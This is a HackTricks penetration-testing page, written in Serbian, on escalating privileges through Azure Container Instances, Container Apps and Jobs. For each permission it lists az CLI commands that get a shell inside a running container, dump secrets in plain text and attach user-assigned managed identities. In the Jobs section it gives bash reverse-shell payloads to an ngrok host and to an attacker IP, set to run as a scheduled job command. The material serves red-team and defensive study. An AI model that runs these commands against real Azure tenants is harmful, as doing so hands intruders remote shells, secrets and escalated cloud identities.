Az - Azure Container Instances, Apps & Jobs Privesc

Reading time: 8 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Azure Container Instances, Apps & Jobs

Za više informacija pogledajte:

Az - Container Instances, Apps & Jobs

ACI

Microsoft.ContainerInstance/containerGroups/read, Microsoft.ContainerInstance/containerGroups/containers/exec/action

Ove dozvole omogućavaju korisniku da izvrši komandu u pokrenutom kontejneru. Ovo se može koristiti za eskalaciju privilegija u kontejneru ako ima neku upravljanu identitet. Naravno, takođe je moguće pristupiti izvoru koda i bilo kojim drugim osetljivim informacijama pohranjenim unutar kontejnera.

Da biste dobili shell, dovoljno je:

bash
az container exec --name <container-name> --resource-group <res-group>  --exec-command '/bin/sh'

Takođe je moguće pročitati izlaz kontejnera sa:

bash
az container attach --name <container-name> --resource-group <res-group>

Ili dobijte logove sa:

bash
az container logs --name <container-name> --resource-group <res-group>

Microsoft.ContainerInstance/containerGroups/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action

Ove dozvole omogućavaju priključivanje korisnički upravljane identitete na grupu kontejnera. Ovo je veoma korisno za eskalaciju privilegija u kontejneru.

Da biste priključili korisnički upravljanu identitetu na grupu kontejnera:

bash
az rest \
--method PATCH \
--url "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerInstance/containerGroups/<container-name>?api-version=2021-09-01" \
--body '{
"identity": {
"type": "UserAssigned",
"userAssignedIdentities": {
"/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>": {}
}
}
}' \
--headers "Content-Type=application/json"

Microsoft.Resources/subscriptions/resourcegroups/read, Microsoft.ContainerInstance/containerGroups/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action

Ove dozvole omogućavaju kreiranje ili ažuriranje grupe kontejnera sa korisnički upravljanom identitetom prikačenim na nju. Ovo je veoma korisno za eskalaciju privilegija u kontejneru.

bash
az container create \
--resource-group <res-group> \
--name nginx2 \
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
--assign-identity "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>" \
--restart-policy OnFailure \
--os-type Linux \
--cpu 1 \
--memory 1.0

Moreover, it's also possible to update an existing container group adding for example the --command-line argument with a reverse shell.

ACA

Microsoft.App/containerApps/read, Microsoft.App/managedEnvironments/read, microsoft.app/containerapps/revisions/replicas, Microsoft.App/containerApps/revisions/read, Microsoft.App/containerApps/getAuthToken/action

Ove dozvole omogućavaju korisniku da dobije shell u pokrenutom aplikacionom kontejneru. Ovo se može koristiti za escalaciju privilegija u kontejneru ako ima neku upravljanu identitet prikačenu. Ofc, takođe je moguće pristupiti izvoru koda i bilo kojim drugim osetljivim informacijama pohranjenim unutar kontejnera.

bash
az containerapp exec --name <app-name> --resource-group <res-group> --command "sh"
az containerapp debug --name <app-name> --resource-group <res-group>

Microsoft.App/containerApps/listSecrets/action

Ova dozvola omogućava dobijanje čistog teksta tajni konfiguranih unutar aplikacije kontejnera. Imajte na umu da se tajne mogu konfigurisati sa čistim tekstom ili sa linkom ka ključnom trezoru (u tom slučaju, aplikaciji će biti dodeljen upravljani identitet sa pristupom nad tajnama).

bash
az containerapp secret list --name <app-name> --resource-group <res-group>
az containerapp secret show --name <app-name> --resource-group <res-group> --secret-name <scret-name>

Microsoft.App/containerApps/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action

Ove dozvole omogućavaju priključivanje identiteta koji upravlja korisnik na aplikaciju kontejnera. Ovo je veoma korisno za eskalaciju privilegija u kontejneru. Izvršavanje ove akcije iz az cli takođe zahteva dozvolu Microsoft.App/containerApps/listSecrets/action.

Da biste priključili identitet koji upravlja korisnik na grupu kontejnera:

bash
az containerapp identity assign -n <app-name> -g <res-group> --user-assigned myUserIdentityName

Microsoft.App/containerApps/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action, Microsoft.App/managedEnvironments/join/action

Ove dozvole omogućavaju kreiranje ili ažuriranje aplikacionog kontejnera sa korisnički upravljanom identitetom prikačenom na njega. Ovo je veoma korisno za eskalaciju privilegija u kontejneru.

bash
# Get environments
az containerapp env list --resource-group Resource_Group_1

# Create app in a an environment
az containerapp create \
--name <app-name> \
--resource-group <res-group> \
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
--cpu 1 --memory 1.0 \
--user-assigned <user-asigned-identity-name> \
--min-replicas 1 \
--command "<reserse shell>"

tip

Imajte na umu da se sa ovim dozvolama mogu modifikovati druge konfiguracije aplikacije što može omogućiti izvođenje drugih privesc i post-exploitation napada u zavisnosti od konfiguracije postojećih aplikacija.

Jobs

Microsoft.App/jobs/read, Microsoft.App/jobs/write

Iako poslovi nisu dugotrajni kao aplikacije u kontejnerima, možete iskoristiti mogućnost prepisivanja konfiguracije komande posla prilikom pokretanja izvršenja. Kreiranjem prilagođenog šablona posla (na primer, zamenom podrazumevane komande sa reverznim shell-om), možete dobiti pristup shell-u unutar kontejnera koji pokreće posao.

bash
# Retrieve the current job configuration and save its template:
az containerapp job show --name <job-name> --resource-group <res-group> --output yaml > job-template.yaml

# Edit job-template.yaml to override the command with a reverse shell (or similar payload):
# For example, change the container’s command to:
#  - args:
#      - -c
#      - bash -i >& /dev/tcp/4.tcp.eu.ngrok.io/18224 0>&1
#      command:
#      - /bin/bash
#      image: mcr.microsoft.com/azureml/minimal-ubuntu22.04-py39-cpu-inference:latest

# Update and wait until the job is triggered (or change ths type to scheduled)
az containerapp job update --name deletemejob6 --resource-group Resource_Group_1 --yaml /tmp/changeme.yaml

# Start a new job execution with the modified template:
az containerapp job start --name <job-name> --resource-group <res-group> --yaml job-template.yaml

Microsoft.App/jobs/read, Microsoft.App/jobs/listSecrets/action

Ako imate ove dozvole, možete da navedete sve tajne (prva dozvola) unutar Job kontejnera i zatim pročitate vrednosti konfigurisanih tajni.

bash
az containerapp job secret list --name <job-name> --resource-group <res-group>
az containerapp job secret show --name <job-name> --resource-group <res-group> --secret-name <secret-name>

Microsoft.ManagedIdentity/userAssignedIdentities/assign/action, Microsoft.App/jobs/write

Ako imate dozvolu da modifikujete konfiguraciju posla, možete prikačiti identitet koji je dodeljen korisniku. Ovaj identitet može imati dodatne privilegije (na primer, pristup drugim resursima ili tajnama) koje se mogu zloupotrebiti za eskalaciju privilegija unutar kontejnera.

bash
az containerapp job update \
--name <job-name> \
--resource-group <res-group> \
--assign-identity <user-assigned-identity-id>

Microsoft.App/managedEnvironments/read, Microsoft.App/jobs/write, Microsoft.App/managedEnvironments/join/action, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action

Ako možete da kreirate novi Container Apps Job (ili ažurirate postojeći) i povežete upravljeni identitet, možete dizajnirati posao da izvrši payload koji eskalira privilegije. Na primer, mogli biste da kreirate novi posao koji ne samo da pokreće reverznu ljusku, već takođe koristi kredencijale upravljanog identiteta da zatraži tokene ili pristup drugim resursima.

bash
az containerapp job create \
--name <new-job-name> \
--resource-group <res-group> \
--environment <environment-name> \
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
--user-assigned <user-assigned-identity-id> \
--trigger-type Schedule \
--cron-expression "*/1 * * * *" \
--replica-timeout 1800 \
--replica-retry-limit 0 \
--command "bash -c 'bash -i >& /dev/tcp/<attacker-ip>/<port> 0>&1'"

tip

Ova komanda će izazvati grešku ako nemate dozvolu Microsoft.App/jobs/read, iako će posao biti kreiran.

microsoft.app/jobs/start/action, microsoft.app/jobs/read

Izgleda da bi sa ovim dozvolama trebalo biti moguće pokrenuti posao. Ovo se može koristiti za pokretanje posla sa reverznim shell-om ili bilo kojom drugom zlonamernom komandom bez potrebe za modifikovanjem konfiguracije posla.

Nisam uspeo da to funkcioniše, ali prema dozvoljenim parametrima, to bi trebalo biti moguće.

Microsoft.ContainerInstance/containerGroups/restart/action

Omogućava ponovno pokretanje specifične grupe kontejnera unutar Azure Container Instances.

bash
az container restart --resource-group <resource-group> --name <container-instances>

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks